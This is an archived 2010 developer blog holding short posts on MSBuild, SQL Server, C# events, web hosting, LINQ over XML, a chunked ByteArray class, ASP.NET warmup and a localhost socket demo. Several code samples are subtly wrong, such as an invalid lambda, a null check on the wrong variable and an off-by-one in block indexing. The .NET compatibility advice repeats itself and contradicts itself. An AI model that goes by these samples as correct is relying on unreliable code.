Breaking News

Saturday, December 11, 2010

MSBuild: Quickly produce the Visual Studio Build scripts.

If you have been using MSBuild to build windows based solutions, I believe you already are aware of the raggra(read: hassle) of creating a master msbuild file that contains several projects with each project referencing one or other.

I actually had to manually create the master project (.*proj) file - but that was quite some time ago. So, this time I researched for any improvements that I would find in the latest msbuild. I was looking for something that would ease build writing process a bit; more precisely - I wanted something that would read all of projects and references from within the .sln file, which already "know" the project references and relationships.

Planning to look more into the msbuild, my backup plan was to look into the NAnt functionality. So, fortunately, I found that MSBuild v3.5 or higher allows a .SLN (Visual Studio Solution File extension) as an input argument and generates the master project file from the .sln file including all the project references. Wo-ho!

I'm sure this has made a developers' build job fairly easy, that would otherwise turn into a nightmare with the expanding list of projects in a solution.

A two step solution is to:

1. Using command line set the MSBuildEmitSolution=1
2. Run the command line: msbuild yoursolution.sln /p:Configuration=Release (or Debug if you want)

Note that you can check the list of arguments and switches that come with the msbuild by running msbuild/? on your command prompt. Also note, while you run the above command, you might end up with invalid command; so you must reference the path to you msbuild executable program.

In case you don't know the msbuild.exe location, following might help:

1. Registry locations from where you can find the actual msbuild.exe.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSBuild\ToolsVersions\2.0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSBuild\ToolsVersions\3.5

2. Following where Task Extensions are located

%ProgramFiles%\MSBuild

As a side note, I'm not sure if I would recommend using the generated .csproj files for production, but I think using the generated .sln files is a good idea.

Be aware that .sln files are not actually valid msbuild project files - they are transformed into msbuild projects by msbuild itself when they are used as inputs.

If you "do" test driven development (TDD), you might want to run your build along with your unit tests. In this case, you can wrap your .sln in a continuous build script project with msbuild tasks to build your projects and run your unit tests together.

This way the developers don't have to run the unit test every time they build - but every time they integrate their code the unit tests will run.

There are couple of other ways to approach the build process:

1. Use MSBuild csproj, and run using the batch file.






2. Create a manual batch file

d:\Program Files\Microsoft Visual Studio 9.0\VC>set MSBuildEmitSolution=1

3. Use PowerShell implementation that recursively scans the script directory for .csproj files and adds them to a generated solution file.

4. Command line
msbuild mysolution.sln /p:Configuration=Release

5. Set variable from within a dll and call the dll from within MSBuild tasks.
Enjoy building, but dont break it! (0:
Read more ...

Wednesday, December 8, 2010

SQL Server: How to find the user who last modified the stored procedure

I believe SQL Server doesn't store this information in its system tables. You can see who owns the procedure, but that is not necessarily the same as who created or last modified the procedure.

You might be able to find out through the default trace (the your data folder for .trc files), but this information is only kept for a few files(5 files and ~100MB each).

There is a Standard Report that will show you the schema change information that comes from the default trace. This simplifies things somewhat for you. (Unless you have the default trace turned off.)

In SSMS, right click on Server Name, choose Reports --> Standard Reports --> Schema Changes History.
The list is in time order with most recent at the top. However, once the report is created, you can export to Excel to make it easier to search for a specific name.
Read more ...

Wednesday, December 1, 2010

Windows XP: Hardware Interrupts consumes >50% CPU, hogging system

Windows XP: Hardware Interrupts consumes >50% CPU, hogging system

Goto: Right click My Computer-->Properties-->Hardware-->Device Manager that would display all of the devices installed in your system.

But we are interested in UNINSTALLED devices. Select Other Devices tree node and open it. If you see the uninstalled devices as mine, then right click and disable those devices. That worked for me.

S0, either install a valid driver or disable the device!

Enjoy!
Read more ...

VS2010: The type or namespace 'FluentNHibernate' could not be found (are you missing a using directive or an assembly reference?

Error:
The type or namespace 'FluentNHibernate' could not be found (are you missing a using directive or an assembly reference?

Problem Statement:
I am using Visual Studio 2010(VS2010); and trying to use NHibernate, but couldnt because of the above error. The namespace(s) already added but somehow it does not read it. Though, my other another project, Visual Studio 2008, with similar FluentNHibernate.dll added to it works fine.

And "Output" window had following information

warning MSB3253: The referenced assembly "FluentNHibernate" could not be resolved because it has a dependency on "System.Data.SqlClient, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" which is not in the currently targeted framework ".NETFramework,Version=v4.0,Profile=Client". Please remove references to assemblies not in the targeted framework or consider retargeting your project.

The project was targeting .Net Framework 4 Client Profile by default; I tried changing to .Net Framework 4, worked!

Enjoy!
Read more ...

Saturday, November 27, 2010

C#: Adding Custom Event and EventHandler

Steps to write a custom event:

Quickest way to write a custom event:

1. Write a delegate event handler
2. Write an event
3. Write a method call

public delegate void NotificationEventHandler(object sender, string Message /*Notification Message*/);
public event NotificationEventHandler NotifyEvent;

private void OnNotify(string Message)
{
    NotificationEventHandler handler = NotifyEvent;
    if (handler != null)
    {
        handler(this, Message);
    }
}

In any method call, whenever something happens, call it method:

OnNotify("Some important Notification Message");

You can implement the EventArgs to have your own NotificationEventArgs, that may contain type of notification, and other information.

Custom Events Using Lamba Expression:
YourObject.OnNotify += (sender,"Test") => { MessageBox.Show("This is a test");};


Or, better add that into an Extension Method.

public static void Raise(this EventHandler handler, object sender, EventArgs e)
{
    if(handler != null)
    {
        handler(sender, e);
    }
}


Following is how it would work, even for null events.

YourObject.Raise(this, EventArgs.Empty);

Or if you hate to check for nulls before using the events, instantiate your event with a delegate (tiny performance overhead).

public event EventHandler NotifyEvent = delegate{};
Read more ...

Saturday, November 20, 2010

Best Web Hosting Providers

The web is overwhelming with the domain registrars and hosting providers. So, which registrars should you go for and what things should you consider before you buy?

-- UPDATED -- Apr/04/2012:

Please do not "EVER" go with the Arvixe; they are the worst services providers. Day 1, I opened my account and "tried" to upload a site, Day 2: Opened a customer service ticket, Day 4: Got a reply that they "will" reply; Day 5: A reply suggesting to toggle a flag on control panel, dint work! Day 6, 7, 8, tens of conversations exchange to fix a small thing at the web server itself; Day 10: Closed my account. 3 times password reset?! can you imagine? I personally think they lack a good dedicated server administrator who has a professional degree as well. Probably thats why its cheap (0:

Anyway, a piece of unwanted advice based upon personal experience. Avoid Arvixe an sites similar to these; you can see the product feature set is attractive but it all boils down to the customer services. Worst class service.
----------------------------------

This post is for those developers who develops for Microsoft platforms; and want to "test"-drive their dream service or product.

Usually, if you are looking for hosting on Microsoft technologies, the price is going to be higher compared to Open-Source hosting. Why? Because Microsoft servers requires licenses, and sometimes a Microsoft Certified team that takes care of Microsoft servers; hosting provider is the one that bears the cost.

Following are some types of hosting that you may want to look into before you make a decision:
Virtual private server (VPS) is a marketing term used by Internet hosting services to refer to a virtual machine for use exclusively by an individual customer of the service. The term is used to emphasize that the virtual machine, although running in software on the same physical computer as other customers' virtual machines, is functionally equivalent to a separate physical computer, is dedicated to the individual customer's needs, has the privacy of a separate physical computer, and can be configured to run as a server computer (i.e. to run server software).

Reseller hosting is a form of web hosting wherein the account owner has the ability to use his/her allotted hard drive space and bandwidth to host websites on behalf of third parties
A dedicated hosting service, dedicated server, or managed hosting service is a type of Internet hosting in which the client leases an entire server not shared with anyone.

One thing to keep in mind beyond just the price aspect is the service you get. One of the best ways to get that, is to register for the forum WebHostingTalk.com, where people of all trades discusses about hosting providers, domain providers, their feedback, and services - openly.

You can finalize your choices and get the community feedback for choices.

If your focus is on Microsoft .NET related technologies, then you must be looking for a provider that hosts for the same.

The primary concern for the one who is developing for windows as well start a business?

Scripting
  • ASP.NET 4.0 (.NET 4.0 Framework/MVC 2)
  • Silverlight 4.0
Database
  • MS SQL Server 2005 or 2008
Apps
  • WordPress
  • SSL
  • Payment Gateways(PayPal, Authorize.NET)
Control Panel
  • .NET Control Panel
An important point that I would emphasize is to atleast *skim* through the privacy and registration policies. Because these days everyone sells all the demographic information; and it would be nice, atleast to see, if they're being completely honest about it or not. So you might want to keep your information confidential.

If you're registering a domain for your company and you want to maintain a veil between your personal contact info and the company contact info then perhaps you should think twice about registering everything on your name.

Following is a small table that I looked into and analyzed. Based upon what I am  looking for, column 1 has the highest ratings, last column has the lowest ratings.



ARVIXE.COM
(DONT EVER USE!

A BIG NO NO!)
DISCOUNTASP.COM GODADDY.COM 1AND1.COM
Pricing  USD 5/mo (72/year) USD 75/year USD 5/mo (60/year) USD 10/mo (120/year)
Disk Space Unlimited 1 GB 10 GB 10 GB
Monthly data transfer Unlimited 80 GB Unlimited Unlimited
Websites (Domains) 6 n/a Unlimited 3
Domain Name Free USD 15/year USD 12/year n/a
Uptime 99.90% 99.90% 99.90% n/a
SSL  n/a USD 10/month n/a n/a
Private Whois n/a USD 5/year n/a Free
Control Panel Dot Net n/a n/a 1AND1 Control Pnl
Remote IIS Management Yes n/a n/a n/a
Windows 2008/IIS7 Hosting No Yes n/a Yes
Windows 2003/IIS6 Hosting Faulty window server administration Yes n/a n/a
SQL Server 2008 Throws connection errors USD 10/month Yes Yes
SQL Server 2005 Yes USD 10/month Yes Yes
SQL2005 Max DB Size
300 MB 200 MB 200 MB
SQL2008 Max DB Size
500 MB 200 MB 200 MB
.NET v3.5 and above They do say they have 3.5 or above, but I think they really dont have it. For instance, I tried pushing my website using WebMatrix that itself uses v4.0, did not work Yes Yes Yes
LINQ / AJAX / Silverlight Yes, they say. You need to check this Yes Yes Yes
ASP .NET MVC Yes Yes Yes Yes
Direct Database Access(SSMS) No No Yes Yes
Streaming Audio/Video Yes Yes n/a n/a
Crystal Reports Yes No n/a n/a
Full Trust App Support n/a Yes n/a n/a
Tech Support 1 (888) 927-8493
1 (480) 505-8877
Url http://www.arvixe.com/asp_net_web_hosting http://www.discountasp.net/kbalertz.aspx http://www.godaddy.com/hosting/web-hosting.aspx?ci=8971 http://order.1and1.com/xml/order/MsHosting;jsessionid=7E848E059F0C9704E79CEFA67CDD0F23.TCpfix140b?__frame=_top&__lf=Static

Enjoy!
Read more ...

Tuesday, November 2, 2010

Stackoverflow is down!

Some how, worlds fastest growing questions and answers site, is down! I wonder about (t)reason. :( They recently moved their data center to NYC, which is 80 milliseconds closer Europe.



Before, while moving their data center, there was this information bar on the top of page warning about unexpected page down time, so if this would have happened then, it would have been not been a surprise. But I hope it gets up and running asap.
Read more ...

Monday, November 1, 2010

How to write simple WCF Service

Had some time, so thought of writing something for the "community", checkout How to write simple WCF Service article published on Code Project.
Read more ...

Thursday, October 21, 2010

Intentional Programming: Whats your intent?

While browsing the wiki some time back, I came across Intentional Programming (IP); as any enthusiantic technologist I wanted to look further into it as to what and how can we use it.

What is it?
Intentional programming is a new way of programming. Easier, quicker, requires less coding; something new in rapidly growing software technology, that allows programming languages to be implemented in a highly extensible manner. In particular, the programmer can specify new abstractions that are specific to his problem domain, while simultaneously recording any domain specific optimizations that may apply to such new abstractions.

Though it is still in research, development, and initial alpha versions of its usage, even at the industry wide level, the core problem that it addresses are the aspects of making developers more productive and software more trustworthy.

It includes programming-language design, compilers, specification and verification, development environments and tools, runtime environments, formal models of systems, performance monitoring and optimization, and quality improvement

Computer programs have been traditionally represented as a stream of characters, usually referred to as code files. The Intentional Programs are represented not only as text but as a database; note that its not the database of the program or database about the program, but rather the database that “is” the program itself.

Lost already? (0: Hold on, following is fairly simple lingo.


Cruel Intentions?
The key to the new representation is the concept of identity - Identity; every object with unique identifier.


The idea of intents is that a representation of the 'intent' of the programmer should be the best way to store the code, and these 'intents' should also be 'viewable' in the language of your choice. In this system, source code as we know it today is just how you view and edit the intents.

Why IP?
Yep, I have thought about this question as well; the key difference with other approaches lies in the way the order of transformation of code that is controlled; in IP, the emphasis is placed on specifying that order in a compositional fashion (like composing an MS Word Document in tree structure - have ever switched to Outline View option?), so that transformations are easily re-used.

"Intents", ultimately, are high-level programming language with tools to automate the it’s writing and translation to lower-level languages, with an attendant loss of information and adding of noise in the process. Noise, that is, may be the additional layers that mediate between frontend and backend.

The independence and self-sufficiency of intentions might well create first a market in abstractions or "language features", followed by the long sought-after dream of a software componentization market.

Some shops (IntentSoft, company owned by Charles Simonyi, a former Microsoftee, who introduced the concept) introduced the IP as a visual tree of boxes editor that stores the abstract syntax tree in a sort of source code database. This concept is critical to power of language-oriented programming, but I believe changing the storage of source code is simply too radical of a change.

Well, actually, usually, source code is routinely stored in databases for IDE features, but the authoritative storage always remains text files, that is, the code files (.cs, .java, etc). All of programmers most trusted tools operate at the string level – at the core – and it is simply impractical to throw everything out at once.

This may be one of the problems of intentional programming, that we're basically creating a new programming language for every domain specific application.

What I'd really like to see is having a core set of abstractions (such as classes, methods, properties, and events) and then applying them in each domain—but in a way that preserves familiarity to existing coding practices.

Some day we may see a new editor which uses an abstract syntax tree box editing model, but preserves the source as text? who knows!

I do realize that visual editors are a bit less efficient than text editors for programming purposes. But the power that comes along with the IDE, Visual Studio, or myEclipse for instance, is far beyond compared to text editors; even those hi-fi text editors that comes with de/attachable compilers options.

Though, to some, boxes may convey less meaning than symbols in a text editor. The boxes and connections are also symbols, but they take up far more screen space than text, so you see much less code simultaneously, which makes the box editor less efficient.

But there are clear benefits to a box editor even in the absence of language-oriented features. For example, navigation of source code by parent, child, or sibling relationships instead of by word or by line; thinking out loud!

Sounds like a tangent?! Well, my thoughts.

References:Following are worthy of reading to get a good grasp of how it works.

Microsoft Research Intentional Programming Video, pretty old but informative. 
Microsoft Research Intentional Programming Article




Enjoy!
Read more ...

Saturday, October 16, 2010

How to: create Custom ByteArray class

A friend sent this to me, as an Urgent question,

Write a class called ByteArray that implement allocating, reading and writing to an array of bytes. The runtime environment has a limitation. The maximum continuous memory size that it can allocated is 64k bytes. It can allocate many 64K ( or less) chunks.
The ByteArray class should hide this limitation and support allocating arrays larger than 64K as in the following example :

ByteArray ba = new ByteArray (250000); // Create
ba[150000] = 15; // Write byte
byte x = ba[190000]; // Read byte

This question is really asking for if you know how to implement the index. I responded with the following one minute recipe.


class ByteArray
{
    byte[] _Byte;
    const int _MaxSizeinKB = 64;
    const int _MaxSizeInBytes = _MaxSizeinKB * 1024;
    public ByteArray(int nLength)
    {
        if (nLength > _MaxSizeInBytes)
            throw new InsufficientMemoryException("Cannot allocate more than " + _MaxSizeinKB.ToString() + "KB");
        else
            _Byte = new byte[nLength];
    }

    public byte this[int nIndex]
    {
        get { return _Byte[nIndex]; }
        set { _Byte[nIndex] = value; }
    }
}

Usage is as above in the question. Enjoy!

Thanks for pointing out.

I have updated the code the reflect the same.

--EDIT--

This is an update based upon the comment that I received. I missed the last sentence; that is,
The ByteArray class should hide this limitation and support allocating arrays larger than 64k
This update adds rest of the functionality; following is the updated ByteArray class:
class ByteArrayEx
{
    private List lstArray = new List();
    public int _nSize;
    public int _nChunks;

    public const int _MaxSizeLimit = 65536;//3;//65536;//64K
    public ByteArrayEx(int nSize)
    {
        _nSize = nSize;
        if (nSize > _MaxSizeLimit)
        {
            //1. Calculate the number of 64K chunks
            int nChunks = nSize / _MaxSizeLimit;

            //130K; 64K + 64K + 2K
            //64 = 130/
            //2 = 64k x 2 = 128k
            //Remaining = 128 - 130 = 2
            //Remaining = nLengh - AllocatedSize

            int nAllocatedSize = 0;
            //2. Loop through the chunks
            for (int i = 0; i < nChunks; i++)
            {
                //3. Allocate the size
                nAllocatedSize = _MaxSizeLimit + nAllocatedSize;
                lstArray.Add(new byte[_MaxSizeLimit]);

            }

            //4. Allocate remaining bytes
            int nRemainingBytes = nSize - nAllocatedSize;
            if (nRemainingBytes > 0)
                lstArray.Add(new byte[nRemainingBytes]);

            _nChunks = lstArray.Count;
        }
        else
            lstArray.Add(new byte[nSize]);

    }

    public byte this[int nIndex]
    {
        get
        {
            //1. Get the index of array list item
            //2. Convert the incoming index to Index of byte array
            int nByteIndex = nIndex % _MaxSizeLimit;

            return ((byte[])(lstArray[GetBlockIndex(nIndex)]))[nByteIndex];
        }
        set
        {
            //1. Get the index/block of array list
            //2. Convert the incoming index to Index of byte array

            int nBlockIndex = GetBlockIndex(nIndex);
            int nByteIndex = nIndex % _MaxSizeLimit;

            ((byte[])(lstArray[nBlockIndex]))[nByteIndex] = value;
        }
    }

    /// 
    /// Block, represents the index of List item
    /// 
    /// Incoming Index    /// Actual Block Index
    private int GetBlockIndex(int nIndex)
    {
        int nAllocatedSize = 0;
        //2. Loop through the chunks
        int nBlockIndex = 0;
        for (int i = 0; i < _nChunks; i++)
        {
            //3. Allocate the size
            nAllocatedSize = _MaxSizeLimit + nAllocatedSize;
            if (nIndex <= nAllocatedSize)
            {
                nBlockIndex = i;
                break;
            }
        }
        return nBlockIndex;
    }
}

Usage is as follows:
ByteArray ba = new ByteArray (250000); // Create
ba[150000] = 15; // Write byte
byte x = ba[190000]; // Read byte

Couple of things to note; the 64K limit that is in the ByteArrayEx class can be anything; for instance:

In case of 64K of it would create single array to contain all the byte array elements.
In case of 128K (64K x 2 = 128K), it will create 2 items in the array list of size 64K each.
In case of 130K (64K x 2 + 2K more = 128K + 2K = 130K) it will create 3 items in the array list; this time, two items of size 64K and third item of size 2K. So array list would contain 3 byte arrays.

Hope you get the idea.

You can change the 64K limit to 32K or 8K or 3K, etc; and it will work as above.

Checkout the output, for the following given input:
class Program
{
    static void Main(string[] args)
    {
        //Test 1
        ByteArrayEx baTest1 = new ByteArrayEx(133120);// (64 + 64 + 2) * 1024; //130K or 133120 bytes

        baTest1[0] = (byte)'c';//Write
        Console.WriteLine(string.Format("Written byte:[{0}]", Convert.ToChar(baTest1[0])));

        baTest1[133110] = (byte)'d';//Write more
        Console.WriteLine(string.Format("Written byte:[{0}]", Convert.ToChar(baTest1[133110])));

        byte r = baTest1[133110];// be[133110];

        Console.WriteLine(string.Format("Reading byte:[{0}]", Convert.ToChar(r)));
        Console.WriteLine(string.Format("Max Limit: {0}, Size: {1}, Chunks: {2}", ByteArrayEx._MaxSizeLimit,
            baTest1._nSize, baTest1._nChunks));


        //Test 2
        ByteArrayEx byteArray = new ByteArrayEx(250000); // Create
        byteArray[150000] = 15; // Write byte
        byte x = byteArray[190000]; // Read byte
        Console.WriteLine(string.Format("byte:[{0}]", x));

        Console.WriteLine(string.Format("Max Limit: {0}, Size: {1}, Chunks: {2}", ByteArrayEx._MaxSizeLimit,
        byteArray._nSize, byteArray._nChunks));

        Console.ReadKey();


    }
} 
 
Note that, I have the List class to demostrate the functionality. You can add any class that provides array like functionality.
Read more ...

How to: GitHub Getting Started

GitHub is a web-based hosting service for projects that use the Git revision control system. It is written using Ruby on Rails by GitHub, Inc. (previously known as Logical Awesome) developers Chris Wanstrath, PJ Hyett, and Tom Preston-Werner. GitHub offers both commercial plans and free accounts for open source projects. According to the Git User's Survey in 2009, GitHub is the most popular Git hosting site. - Source;
It is being used from software miniatures companies to giants.

If you "just" want to setup the Git on your windows, this illustrated guide is of great help; but since I am more of a Tortoise(cvs/svn) fan, so I went an extra mile(ran another search) to get Tortoise client deployed.


But if you hate UIs, and a commandline expert, this is the way to go.

Enjoy!
Read more ...

Wednesday, October 6, 2010

How to: DISTINCT, SUM, COUNT the DataTable for a given XML?

Sometimes, you desire that you want something very quick. So you plan on using the Xml as data source and LINQ as a processor.

And then you desire to SELECT DISTINCT, and SUM, and COUNT on the DataTable;

So, for following,

Input:


       
          HR
          8.2
          3
       
       
          Marketing
          8.8
          3
       
       
          HR
          7.2
          4
       
       
          Admin
          8.9
          4
       
    

YOu want an output of the sort:

HR 7.7
Marketing 8.8
Admin 8.9

Following is the code to do not just that but alot more, using LINQ.

//Sample xml, taken from my answer@SO[http://stackoverflow.com/q/3870511/82449]
string xml = @"
       
          HR
          8.2
          3
       
       
          Marketing
          8.8
          3
       
       
          HR
          7.2
          4
       
       
          Admin
          8.9
          4
       
    
    ";
//Load into a reader
System.IO.StringReader readerXml = new System.IO.StringReader(xml);

//Prepare dataset
DataSet ds = new DataSet();

//Read xml reader
ds.ReadXml(readerXml);

DataTable dtTable = ds.Tables[0];

Use linq, the core of the post, to get average/count...

//Use linq to Average/Distinct rows.
var result = from theRow in dtTable.DataSet.Tables[0].AsEnumerable()
             group theRow by new
             {
                 theRow = theRow.Field("category")//Group by category.
             } into Group
             select new
             {
                 Row = Group.Key.theRow,
                 Count = Group.Count(),
                 Average = Group.Average(row => Decimal.Parse(row.Field("performance"))),
                 UniqueRows = (from p in Group
                               select p.Field("performance")).Distinct().Count()
             };
Output:

foreach (var res in result)
{
    MessageBox.Show(string.Format("Row:{0}, Total:{1}, Average Performance: {2}, Unique Records: {3}",
                    res.Row, res.Count, res.Average, res.UniqueRows));

}

Enjoy!
Read more ...

Tuesday, October 5, 2010

How to: Convert string to Time

Generated from this question, I thought it might be helpful for others looking for something similar.

Incoming data: 1000 (string format)
Desired output: 10:00 AM

C# Code:
string str = "1000";//drv.Row("arrival_time")
string[] formats = new string[] { "HHmm" };
DateTime dt = DateTime.ParseExact(str, formats,
                                    System.Globalization.CultureInfo.InvariantCulture,
                                    System.Globalization.DateTimeStyles.AdjustToUniversal);
string strTime = dt.ToShortTimeString();

DateTime dte = DateTime.Now;
IFormatProvider culture = new System.Globalization.CultureInfo("en-GB", true);


VB.NET Code:
Dim str As String = "1000" 'drv.Row("arrival_time")
Dim formats As String() = New String() {"HHmm"}
Dim dt As DateTime = DateTime.ParseExact(str, formats, System.Globalization.CultureInfo.InvariantCulture, System.Globalization.DateTimeStyles.AdjustToUniversal)
Dim strTime As String = dt.ToShortTimeString()

Dim dte As DateTime = DateTime.Now
Dim culture As IFormatProvider = New System.Globalization.CultureInfo("en-GB", True)

Outputs:
10:00 AM

Note, if you plan on using that frequently, you might want to add that as an extension method.

C# Code:
public static class Extensions
{
    public static string ToTime(this string str)
    {
        DateTime dt = DateTime.Now;
        try
        {
            string[] formats = new string[] { "HHmm" };
            dt = DateTime.ParseExact(str, formats,
                                                System.Globalization.CultureInfo.InvariantCulture,
                                                System.Globalization.DateTimeStyles.AdjustToUniversal);
        }
        catch
        { throw new Exception("Invalid data"); }
        return dt.ToShortTimeString();
    }
}


VB.NET Code:
Public NotInheritable Class Extensions
    Private Sub New()
    End Sub
     _
    Public Shared Function ToTime(str As String) As String
        Dim dt As DateTime = DateTime.Now
        Try
            Dim formats As String() = New String() {"HHmm"}
            dt = DateTime.ParseExact(str, formats, System.Globalization.CultureInfo.InvariantCulture, System.Globalization.DateTimeStyles.AdjustToUniversal)
        Catch
            Throw New Exception("Invalid data")
        End Try
        Return dt.ToShortTimeString()
    End Function
End Class



How to call the extension method:
string str = "13000";//SomeDataRowView.Row("TIME_COLUMN")
string strTime = str.ToTime();


VB.NET Code:
Dim str As String = "13000" 'or SomeDataRowView.Row("TIME_COLUMN")
Dim strTime As String = str.ToTime()

Run in debug (VB.NET):


Happy "Dating"! (0;
Read more ...

Sunday, October 3, 2010

Will my .NET 1.x run on .NET 4.0?

Short answer:
Yes.

Should you?
No.

Why?
Read the long answer.

Long answer:

The .NET Framework 4 is backward-compatible with applications that were built with the .NET Framework versions 1.1, 2.0, 3.0, and 3.5. In other words, applications and components built with previous versions of the .NET Framework will work on the .NET Framework 4.

However, in practice, this compatibility can be broken by seemingly inconsequential changes in the .NET Framework and changes in programming techniques. For example, performance improvements in the .NET Framework 4 can expose a race condition that did not occur on earlier versions. Similarly, using a hard-coded path to .NET Framework assemblies, performing an equality comparison with a particular version of the .NET Framework, and getting the value of a private field by using reflection are not backward-compatible practices. In addition, each version of the .NET Framework includes bug fixes and security-related changes that can affect the compatibility of some applications and components.- Source: MSDN
The .NET Framework has two main components:
  • The common language runtime (CLR)
  • The class library (BCL, etc).
The common language runtime is the foundation of the .NET Framework. 3.5 uses CLR version 2.0; and so does .NET Framework 2.0 or 3.0, while .NET framework 1.1 uses v1.1.

The compatibility goal for the .NET framework is that applications and components from previous versions should work smoothly on the latest framework; except for a set of known changes.

So, to make your .NET 1.1 application run properly and stable on the target machine, you would be better to install .NET 1.1 on it to support your application.

Alternatively, you also can try to upgrade your .NET v1.1 application to .NET 3.x.

Here's how.
  • In your IDE, select the Properties-->Application-->Target Framework
  • Change the target framework to a recent one, and rebuild.

Source: MSDN

The compatibility goal for the .NET framework is that applications and components from previous versions should work smoothly on the latest framework; except for a set of known changes.

So, to make your .NET 1.1 application run properly and stable on the target machine, you would be better to install .NET 1.1 on it to support your application.

This means, following may/may-not "properly" with each other:
  • .NET 4.0 will not run "properly" .NET 3.x or earlier applications
  • .NET 3.5 will run .NET 3.0 & .NET 2.0 applications, but not .NET 1.1
  • .NET 3.0 will run .NET 2.0 applications, but not .NET 1.1
  • .NET 2.0 will not run .NET 1.1


Alternatively, you also can try to upgrade your .NET v1.1 application to .NET 3.x.

Here's how:
  • In your IDE, select the Properties-->Application-->Target Framework
  • Change the target framework to a recent one, and rebuild.
Though, any app (web/desktop) can be migrated to the desired framework, here is a step by step indepth article. How to: Upgrade an ASP.NET Web Application to ASP.NET 4.

If you still plan to use the 1.x on 4.0, don't forget to check the .NET Framework 4 Migration Issues.

Cheers!
Read more ...

Saturday, October 2, 2010

ASP.NET Slow on first access

Problem
Response is really slow when a page of ASP.NET/MVC web(site or app) is accessed first time.
It takes around(depending?) 4/5 seconds to sometimes a minute for the page to load.

But, interestingly, every following request is fast; as it should be.

The above process(first request slow, and consecutive fast) gets repeated approximately after every few hours of inactivity; and especially on the day start.

Reason?
1. The first slow response is related to the JIT compilation of the service assemblies.
2. The IIS application pool is shut down after 30 minutes of inactivity.

After that, when a request is made, IIS has to start the website up again, which leads to this behavior.

Workarounds?

Workaround 1: Warmup script
Write some code in the Application_Start event of the Global.asax file that calls the main pages or you web.

Here is a well known app startup script available on internet.

Alternatively, you can program it as a separate app and run this script as a scheduled task in Windows Scheduler.

Workaround 2: Remove the recycle option entirely
This could be the recycle worker processes setting on the application pool, check the value for that and either turn it off or make it longer.

You can also configure the shutdown worker process setting, after being idle under performance for the application pool.
  • Type inetmgr.exe in Start-->Run and press enter
  • Select Application Pools; right click and select properties
  • Select Performance tab
  • Uncheck Shutdown worker processes after being idle for (time in minutes): or set it to a higher value or uncheck it entirely.

Workaround 3: Windows service
Create a windows service[http://www.yasarmurat.com/Blog/33/asp-net-application-warm-up-by-using-windows-service.aspx] that calls the pages after certain itervals of time.

Workaround 4: AutoStart Feature in .NET4.0
If you are using .NET 4.0, worry not; because there is an Auto-Start feature of the 4.0 framework. This article might interest you.

Workaround 5: IIS7 WarmUp Feature
If you using IIS7, use Application Warmup feature, that does the job for you.

Workaround 6: Use uptime robot?

If this is a production server then why not try adding a website monitor; such as up time robot. It basically asks for your websites headers and gets status codes like 200-OK, 404-NOT FOUND (etc) every scheduled(5, for instance) minutes.

This way your site is always spun up and does not impact log files/analytics as only headers are requested.

Plus, its free for up to 50 sites!

Helpful Resources
Read more ...

Wednesday, September 29, 2010

How to: Merge Multiple Xmls?

Easiest, simplest, fastest way? ...could be, well, if you don't want any checks to be performed(duplicates, zombies, etc), and are using .NET 3.5 or above:

var ResultXml = XDocument.Load("file1.xml");
ResultXml.Root.Add(XDocument.Load("file2.xml").Root.Elements());

Cool, right? (0:
Or if you are "still" a fan of pre-date'rs, use XmlDocument:

static void AppendChildren(XmlWriter xmlWriter, string strFilePath)
{
    using (XmlReader xmlReader = XmlReader.Create(strFilePath))
    {
        xmlReader.MoveToContent();
        int nDepth = xmlReader.Depth + 1;
        if (xmlReader.Read())
        {
            while (xmlReader.Depth == nDepth)
            {
                xmlWriter.WriteNode(xmlReader, true);
            }
        }
    }
}

Or better, if you want, would be to make it an extention method:

static void AppendChildren(this XmlWriter xmlWriter, string strFilePath)

All you have to do is to call .ToAppendChildren() method.

Happy programming! (0:
Read more ...

Friday, September 24, 2010

.NET: is vs as

Small difference between is and as

From MSDN: is keyword
The is operator is used to check whether the run-time type of an object is compatible with a given type

From MSDN: as keyword
The as operator is used to perform conversions between compatible types.

Example:

object s = "this is a test";
string str=string.Empty;
if( s is string)
{    str = s as string;
if(!string.IsNullOrEmpty(str))
 DoSomething();
}

Note that, the example above is an anti-pattern. It's expensive to do is then as. Why? because it unboxes 's' object twice. For reference types, you should just do as, then check for null to see if it worked.

Like following:

string str = s as string;
if(s!=null)
{
 DoSomething();
}

Happy programming!
Read more ...

Wednesday, September 22, 2010

Kanban vs Scrum

Kanban vs Scrum: An interesting article that I came across, thought I'd keep a link.

...Kanban is not a project management or software development lifecycle method. It is an approach to change management - a framework for catalyzing change in an organization


...Scrum uses commitment as its control mechanism for provoking changes. Commitment exists at two levels: at the personal daily level - this is reinforced with the Scrum and the 3 questions “what did you do for us yesterday?” “what will you do for us today?” and “Is anything impeding you from meeting your commitment today?”
Read more ...

Tuesday, September 7, 2010

Simplest console based client/server program

For those who want a quick and easy way to grasp the client/server model.

class Program
{
    static void Main(string[] args)
    {
        bool sender = false;
        if (args.Length > 0) sender = true;
        if (sender)
        {
            try
            {
                Console.WriteLine("..:: Client ::..");
                Socket sock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP);
                IPEndPoint ipe = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 5000);
                sock.Connect(ipe);
                while (true)
                {
                    string toSend = Console.ReadLine();
                    sock.Send(Encoding.UTF32.GetBytes(toSend));
                    Console.WriteLine("Sent.");
                }
            }
            catch (SocketException e)
            {
                Console.WriteLine(e.Message);
                Console.ReadLine();
            }
        }
        else
        {
            try
            {
                Console.WriteLine("..:: Server ::..");
                IPEndPoint ipe = new IPEndPoint(IPAddress.Any, 5000);
                Socket sock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP);

                sock.Bind(ipe);
                sock.Listen(4);
                int nCount = 0;
                while (true)
                {
                    nCount++;
                    Socket newSock = sock.Accept();
                    if (!newSock.Connected) continue;
                    else
                    {
                        byte[] buffer = new byte[1024];//Can pull from a central config file
                        if (newSock.Receive(buffer) > 0) { Console.WriteLine("Received:"); Console.WriteLine(Encoding.UTF32.GetString(buffer)); }
                        newSock.Close();
                    }
                }
            }
            catch (SocketException e)
            {
                Console.WriteLine(e.Message);
                Console.ReadLine();
            }
        }
}

Usually, almost always, you send the number of bytes before sending the actual text, so that the other side would know how much data to expect.

Happy coding!
Read more ...

Wednesday, August 25, 2010

SharePoint: Using custom HttpHandler to Response.Redirect() users

SharePoint: Using custom HttpHandler to Response.Redirect() users

